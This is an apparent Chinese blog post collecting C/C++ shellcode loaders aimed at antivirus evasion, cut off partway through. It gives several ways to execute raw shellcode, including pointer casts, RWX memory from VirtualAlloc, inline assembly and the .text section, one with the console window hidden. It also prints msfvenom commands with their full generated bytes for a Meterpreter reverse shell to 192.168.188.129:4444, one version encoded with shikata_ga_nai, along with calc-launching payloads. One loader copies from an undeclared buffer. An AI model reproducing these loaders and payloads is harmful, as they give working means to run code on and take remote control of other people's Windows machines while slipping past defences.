<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      ShellCode Loader(持续更新) 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        ShellCode Loader(持续更新)
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2022-04-08
      </span>

                                                                        <span class="post-pubtime"> 本文共3k字 </span>

                                                                        <span class="post-pubtime">
        大约需要28min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/%E5%85%8D%E6%9D%80/" title="免杀">
            <b>#</b> 免杀
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p>记录一些语言的shellcode 加载方式，持续更新…</p>
<p>[toc]</p>
<h1 id="C-x2F-C"><a href="#C-x2F-C" class="headerlink" title="C&#x2F;C++"></a>C&#x2F;C++</h1><p>首先是c的loader，分两种，指针直接执行和动态分配。</p>
<h2 id="指针执行"><a href="#指针执行" class="headerlink" title="指针执行"></a>指针执行</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;windows.h&gt;</span></span></span><br><span class="line"><span class="comment">//设置入口地址，不弹出黑窗口</span></span><br><span class="line"><span class="meta"># <span class="meta-keyword">pragma</span> comment(linker,<span class="meta-string">&quot;/subsystem:\&quot;Windows\&quot; /entry:\&quot;mainCRTStartup\&quot;&quot;</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> shellcode[] =</span><br><span class="line"><span class="string">&quot;shellcode&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">//都可</span></span><br><span class="line">	<span class="comment">//((void(*)()) &amp;shellcode)();</span></span><br><span class="line">    <span class="comment">//(*(void(*)()) &amp;shellcode)();</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">//也可以这样</span></span><br><span class="line"> 	<span class="comment">//void (*func)();</span></span><br><span class="line">    <span class="comment">//func = (void (*)())(void *)shellcode;</span></span><br><span class="line">    <span class="comment">//func();</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h2 id="动态分配"><a href="#动态分配" class="headerlink" title="动态分配"></a>动态分配</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;windows.h&gt;</span></span></span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> shellcode[] =</span><br><span class="line"><span class="string">&quot;shellcode&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	PVOID Memory;</span><br><span class="line">    Memory = VirtualAlloc(<span class="literal">NULL</span>,<span class="keyword">sizeof</span>(shellcode),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);</span><br><span class="line">    <span class="comment">//动态分配虚地址空间</span></span><br><span class="line">    <span class="built_in">memcpy</span>(Memory,buf,<span class="keyword">sizeof</span>(shellcode));</span><br><span class="line">    <span class="comment">//复制内存内容</span></span><br><span class="line">    ((<span class="keyword">void</span>(*)())Memory)();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h2 id="内联汇编"><a href="#内联汇编" class="headerlink" title="内联汇编"></a>内联汇编</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;windows.h&gt;</span>  </span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span>  </span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(linker, <span class="meta-string">&quot;/section:.data,RWE&quot;</span>)  </span></span><br><span class="line"></span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> shellcode[] = <span class="string">&quot;shellcode&quot;</span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    __asm</span><br><span class="line">    &#123;</span><br><span class="line">        mov eax, offset shellcode</span><br><span class="line">        jmp eax</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h2 id="写到text段"><a href="#写到text段" class="headerlink" title="写到text段"></a>写到text段</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> section(<span class="meta-string">&quot;.text&quot;</span>)</span></span><br><span class="line"></span><br><span class="line">__declspec(allocate(<span class="string">&quot;.text&quot;</span>)) <span class="keyword">char</span> shellcode[] =</span><br><span class="line">    <span class="string">&quot;\xba\x9f\x20\x22\xd2\xda\xd4\xd9\x74\x24\xf4\x5f\x33\xc9\xb1&quot;</span></span><br><span class="line">    <span class="string">&quot;\x30\x83\xc7\x04\x31\x57\x0f\x03\x57\x90\xc2\xd7\x2e\x46\x80&quot;</span></span><br><span class="line">    <span class="string">&quot;\x18\xcf\x96\xe5\x91\x2a\xa7\x25\xc5\x3f\x97\x95\x8d\x12\x1b&quot;</span></span><br><span class="line">    <span class="string">&quot;\x5d\xc3\x86\xa8\x13\xcc\xa9\x19\x99\x2a\x87\x9a\xb2\x0f\x86&quot;</span></span><br><span class="line">    <span class="string">&quot;\x18\xc9\x43\x68\x21\x02\x96\x69\x66\x7f\x5b\x3b\x3f\x0b\xce&quot;</span></span><br><span class="line">    <span class="string">&quot;\xac\x34\x41\xd3\x47\x06\x47\x53\xbb\xde\x66\x72\x6a\x55\x31&quot;</span></span><br><span class="line">    <span class="string">&quot;\x54\x8c\xba\x49\xdd\x96\xdf\x74\x97\x2d\x2b\x02\x26\xe4\x62&quot;</span></span><br><span class="line">    <span class="string">&quot;\xeb\x85\xc9\x4b\x1e\xd7\x0e\x6b\xc1\xa2\x66\x88\x7c\xb5\xbc&quot;</span></span><br><span class="line">    <span class="string">&quot;\xf3\x5a\x30\x27\x53\x28\xe2\x83\x62\xfd\x75\x47\x68\x4a\xf1&quot;</span></span><br><span class="line">    <span class="string">&quot;\x0f\x6c\x4d\xd6\x3b\x88\xc6\xd9\xeb\x19\x9c\xfd\x2f\x42\x46&quot;</span></span><br><span class="line">    <span class="string">&quot;\x9f\x76\x2e\x29\xa0\x69\x91\x96\x04\xe1\x3f\xc2\x34\xa8\x55&quot;</span></span><br><span class="line">    <span class="string">&quot;\x15\xca\xd6\x1b\x15\xd4\xd8\x0b\x7e\xe5\x53\xc4\xf9\xfa\xb1&quot;</span></span><br><span class="line">    <span class="string">&quot;\xa1\xf6\xb0\x98\x83\x9e\x1c\x49\x96\xc2\x9e\xa7\xd4\xfa\x1c&quot;</span></span><br><span class="line">    <span class="string">&quot;\x42\xa4\xf8\x3d\x27\xa1\x45\xfa\xdb\xdb\xd6\x6f\xdc\x48\xd6&quot;</span></span><br><span class="line">    <span class="string">&quot;\xa5\xbf\x0f\x44\x25\x40&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    (*(<span class="keyword">void</span> (*)())(&amp;shellcode))();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<h1 id="shellcode"><a href="#shellcode" class="headerlink" title="shellcode"></a>shellcode</h1><p>到kali机的，(自用</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line">➜  ~ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<span class="number">192.168</span><span class="number">.188</span><span class="number">.129</span> LPORT=<span class="number">4444</span> -a x86 --platform Windows -f c  </span><br><span class="line">No encoder specified, outputting raw payload</span><br><span class="line">Payload size: <span class="number">354</span> bytes</span><br><span class="line">Final size of c file: <span class="number">1512</span> bytes</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> buf[] = </span><br><span class="line"><span class="string">&quot;\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52&quot;</span></span><br><span class="line"><span class="string">&quot;\x0c\x8b\x52\x14\x89\xe5\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28&quot;</span></span><br><span class="line"><span class="string">&quot;\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49&quot;</span></span><br><span class="line"><span class="string">&quot;\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78&quot;</span></span><br><span class="line"><span class="string">&quot;\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20\x01\xd3\x8b\x48\x18&quot;</span></span><br><span class="line"><span class="string">&quot;\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xac&quot;</span></span><br><span class="line"><span class="string">&quot;\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24&quot;</span></span><br><span class="line"><span class="string">&quot;\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c&quot;</span></span><br><span class="line"><span class="string">&quot;\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59&quot;</span></span><br><span class="line"><span class="string">&quot;\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d&quot;</span></span><br><span class="line"><span class="string">&quot;\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26&quot;</span></span><br><span class="line"><span class="string">&quot;\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68&quot;</span></span><br><span class="line"><span class="string">&quot;\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xbc\x81\x68\x02&quot;</span></span><br><span class="line"><span class="string">&quot;\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea&quot;</span></span><br><span class="line"><span class="string">&quot;\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61&quot;</span></span><br><span class="line"><span class="string">&quot;\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00&quot;</span></span><br><span class="line"><span class="string">&quot;\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83&quot;</span></span><br><span class="line"><span class="string">&quot;\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a&quot;</span></span><br><span class="line"><span class="string">&quot;\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57&quot;</span></span><br><span class="line"><span class="string">&quot;\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00&quot;</span></span><br><span class="line"><span class="string">&quot;\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68&quot;</span></span><br><span class="line"><span class="string">&quot;\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff&quot;</span></span><br><span class="line"><span class="string">&quot;\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb&quot;</span></span><br><span class="line"><span class="string">&quot;\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5&quot;</span>;</span><br><span class="line"></span><br><span class="line">➜  ~ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<span class="number">192.168</span><span class="number">.188</span><span class="number">.129</span> LPORT=<span class="number">4444</span> -a x86 --platform Windows -f c --bad <span class="string">&quot;\x00&quot;</span></span><br><span class="line">Found <span class="number">11</span> compatible encoders</span><br><span class="line">Attempting to encode payload with <span class="number">1</span> iterations of x86/shikata_ga_nai</span><br><span class="line">x86/shikata_ga_nai succeeded with size <span class="number">381</span> (iteration=<span class="number">0</span>)</span><br><span class="line">x86/shikata_ga_nai chosen with <span class="keyword">final</span> size <span class="number">381</span></span><br><span class="line">Payload size: <span class="number">381</span> bytes</span><br><span class="line">Final size of c file: <span class="number">1626</span> bytes</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> buf[] = </span><br><span class="line"><span class="string">&quot;\xbb\xfb\xb4\xcc\x3f\xda\xd9\xd9\x74\x24\xf4\x5a\x29\xc9\xb1&quot;</span></span><br><span class="line"><span class="string">&quot;\x59\x31\x5a\x14\x83\xc2\x04\x03\x5a\x10\x19\x41\x30\xd7\x52&quot;</span></span><br><span class="line"><span class="string">&quot;\xaa\xc9\x28\x0c\x9a\x1b\x4c\x47\x8e\xab\x04\xb2\xa4\x9e\x1a&quot;</span></span><br><span class="line"><span class="string">&quot;\xb7\xe9\x0a\xa8\xb5\x25\x3c\x19\x73\x10\x73\x9a\xb2\x9c\xdf&quot;</span></span><br><span class="line"><span class="string">&quot;\x58\xd5\x60\x22\x8d\x35\x58\xed\xc0\x34\x9d\xbb\xaf\xd9\x73&quot;</span></span><br><span class="line"><span class="string">&quot;\x6b\xdb\x77\x64\x18\x99\x4b\x85\xce\x95\xf3\xfd\x6b\x69\x87&quot;</span></span><br><span class="line"><span class="string">&quot;\xb1\x72\xba\xec\x02\x6d\xb1\xaa\xb2\xdd\xc4\x99\x36\x14\xb2&quot;</span></span><br><span class="line"><span class="string">&quot;\x21\x08\x58\x72\xd2\x5e\x2d\x84\x32\xaf\xf1\x2b\x7b\x1f\xfc&quot;</span></span><br><span class="line"><span class="string">&quot;\x32\xbc\x98\x1f\x41\xb6\xda\xa2\x52\x0d\xa0\x78\xd6\x91\x02&quot;</span></span><br><span class="line"><span class="string">&quot;\x0a\x40\x75\xb2\xdf\x17\xfe\xb8\x94\x5c\x58\xdd\x2b\xb0\xd3&quot;</span></span><br><span class="line"><span class="string">&quot;\xd9\xa0\x37\x33\x68\xf2\x13\x97\x30\xa0\x3a\x8e\x9c\x07\x42&quot;</span></span><br><span class="line"><span class="string">&quot;\xd0\x79\xf7\xe6\x9b\x68\xee\x97\x64\x73\x0f\xca\xf2\xbf\xc2&quot;</span></span><br><span class="line"><span class="string">&quot;\xf5\x02\xa8\x55\x85\x30\x77\xce\x01\x78\xf0\xc8\xd6\x09\x16&quot;</span></span><br><span class="line"><span class="string">&quot;\xeb\x09\xb1\x77\x15\xaa\xc1\x5e\xd2\xfe\x91\xc8\xf3\x7e\x7a&quot;</span></span><br><span class="line"><span class="string">&quot;\x09\xfb\xaa\x16\x03\x6b\x95\x4e\xaf\xea\x7d\x8c\xd0\xfd\x21&quot;</span></span><br><span class="line"><span class="string">&quot;\x19\x36\xad\x89\x49\xe7\x0e\x7a\x29\x57\xe7\x90\xa6\x88\x17&quot;</span></span><br><span class="line"><span class="string">&quot;\x9b\x6d\xa1\xb2\x74\xdb\x99\x2a\xec\x46\x51\xca\xf1\x5d\x1f&quot;</span></span><br><span class="line"><span class="string">&quot;\xcc\x7a\x57\xdf\x83\x8a\x12\xf3\xf4\xec\xdc\x0b\x05\x99\xdc&quot;</span></span><br><span class="line"><span class="string">&quot;\x61\x01\x0b\x8b\x1d\x0b\x6a\xfb\x81\xf4\x59\x78\xc5\x0b\x1c&quot;</span></span><br><span class="line"><span class="string">&quot;\x48\xbd\x3a\x8a\xf4\xa9\x42\x5a\xf4\x29\x15\x30\xf4\x41\xc1&quot;</span></span><br><span class="line"><span class="string">&quot;\x60\xa7\x74\x0e\xbd\xd4\x24\x9b\x3e\x8c\x99\x0c\x57\x32\xc7&quot;</span></span><br><span class="line"><span class="string">&quot;\x7b\xf8\xcd\x22\xf8\xff\x31\xb0\xd7\xa7\x59\x4a\x68\x58\x99&quot;</span></span><br><span class="line"><span class="string">&quot;\x20\x68\x08\xf1\xbf\x47\xa7\x31\x3f\x42\xe0\x59\xca\x03\x42&quot;</span></span><br><span class="line"><span class="string">&quot;\xf8\xcb\x09\x02\xa4\xcc\xbe\x9f\x57\xb6\xcf\x20\x98\x47\xc6&quot;</span></span><br><span class="line"><span class="string">&quot;\x44\x99\x47\xe6\x7a\xa6\x91\xdf\x08\xe9\x21\x64\x02\x5c\x07&quot;</span></span><br><span class="line"><span class="string">&quot;\xcd\x89\x9e\x1b\x0d\x98&quot;</span>;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>

<h2 id="弹计算器"><a href="#弹计算器" class="headerlink" title="弹计算器"></a>弹计算器</h2><h3 id="32位"><a href="#32位" class="headerlink" title="32位"></a>32位</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line">➜  ~ msfvenom --payload windows/exec cmd=<span class="string">&quot;calc&quot;</span> --format c --arch x86 --platform windows --bad <span class="string">&quot;\x00&quot;</span> </span><br><span class="line">Found <span class="number">11</span> compatible encoders</span><br><span class="line">Attempting to encode payload with <span class="number">1</span> iterations of x86/shikata_ga_nai</span><br><span class="line">x86/shikata_ga_nai succeeded with size <span class="number">216</span> (iteration=<span class="number">0</span>)</span><br><span class="line">x86/shikata_ga_nai chosen with <span class="keyword">final</span> size <span class="number">216</span></span><br><span class="line">Payload size: <span class="number">216</span> bytes</span><br><span class="line">Final size of c file: <span class="number">933</span> bytes</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> buf[] = </span><br><span class="line"><span class="string">&quot;\xba\x9f\x20\x22\xd2\xda\xd4\xd9\x74\x24\xf4\x5f\x33\xc9\xb1&quot;</span></span><br><span class="line"><span class="string">&quot;\x30\x83\xc7\x04\x31\x57\x0f\x03\x57\x90\xc2\xd7\x2e\x46\x80&quot;</span></span><br><span class="line"><span class="string">&quot;\x18\xcf\x96\xe5\x91\x2a\xa7\x25\xc5\x3f\x97\x95\x8d\x12\x1b&quot;</span></span><br><span class="line"><span class="string">&quot;\x5d\xc3\x86\xa8\x13\xcc\xa9\x19\x99\x2a\x87\x9a\xb2\x0f\x86&quot;</span></span><br><span class="line"><span class="string">&quot;\x18\xc9\x43\x68\x21\x02\x96\x69\x66\x7f\x5b\x3b\x3f\x0b\xce&quot;</span></span><br><span class="line"><span class="string">&quot;\xac\x34\x41\xd3\x47\x06\x47\x53\xbb\xde\x66\x72\x6a\x55\x31&quot;</span></span><br><span class="line"><span class="string">&quot;\x54\x8c\xba\x49\xdd\x96\xdf\x74\x97\x2d\x2b\x02\x26\xe4\x62&quot;</span></span><br><span class="line"><span class="string">&quot;\xeb\x85\xc9\x4b\x1e\xd7\x0e\x6b\xc1\xa2\x66\x88\x7c\xb5\xbc&quot;</span></span><br><span class="line"><span class="string">&quot;\xf3\x5a\x30\x27\x53\x28\xe2\x83\x62\xfd\x75\x47\x68\x4a\xf1&quot;</span></span><br><span class="line"><span class="string">&quot;\x0f\x6c\x4d\xd6\x3b\x88\xc6\xd9\xeb\x19\x9c\xfd\x2f\x42\x46&quot;</span></span><br><span class="line"><span class="string">&quot;\x9f\x76\x2e\x29\xa0\x69\x91\x96\x04\xe1\x3f\xc2\x34\xa8\x55&quot;</span></span><br><span class="line"><span class="string">&quot;\x15\xca\xd6\x1b\x15\xd4\xd8\x0b\x7e\xe5\x53\xc4\xf9\xfa\xb1&quot;</span></span><br><span class="line"><span class="string">&quot;\xa1\xf6\xb0\x98\x83\x9e\x1c\x49\x96\xc2\x9e\xa7\xd4\xfa\x1c&quot;</span></span><br><span class="line"><span class="string">&quot;\x42\xa4\xf8\x3d\x27\xa1\x45\xfa\xdb\xdb\xd6\x6f\xdc\x48\xd6&quot;</span></span><br><span class="line"><span class="string">&quot;\xa5\xbf\x0f\x44\x25\x40&quot;</span>;</span><br><span class="line"></span><br><span class="line">➜  ~ msfvenom --payload windows/exec cmd=<span class="string">&quot;calc&quot;</span> --format c --arch x86 --platform windows              </span><br><span class="line">No encoder specified, outputting raw payload</span><br><span class="line">Payload size: <span class="number">189</span> bytes</span><br><span class="line">Final size of c file: <span class="number">819</span> bytes</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> buf[] = </span><br><span class="line"><span class="string">&quot;\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30&quot;</span></span><br><span class="line"><span class="string">&quot;\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff&quot;</span></span><br><span class="line"><span class="string">&quot;\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52&quot;</span></span><br><span class="line"><span class="string">&quot;\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1&quot;</span></span><br><span class="line"><span class="string">&quot;\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b&quot;</span></span><br><span class="line"><span 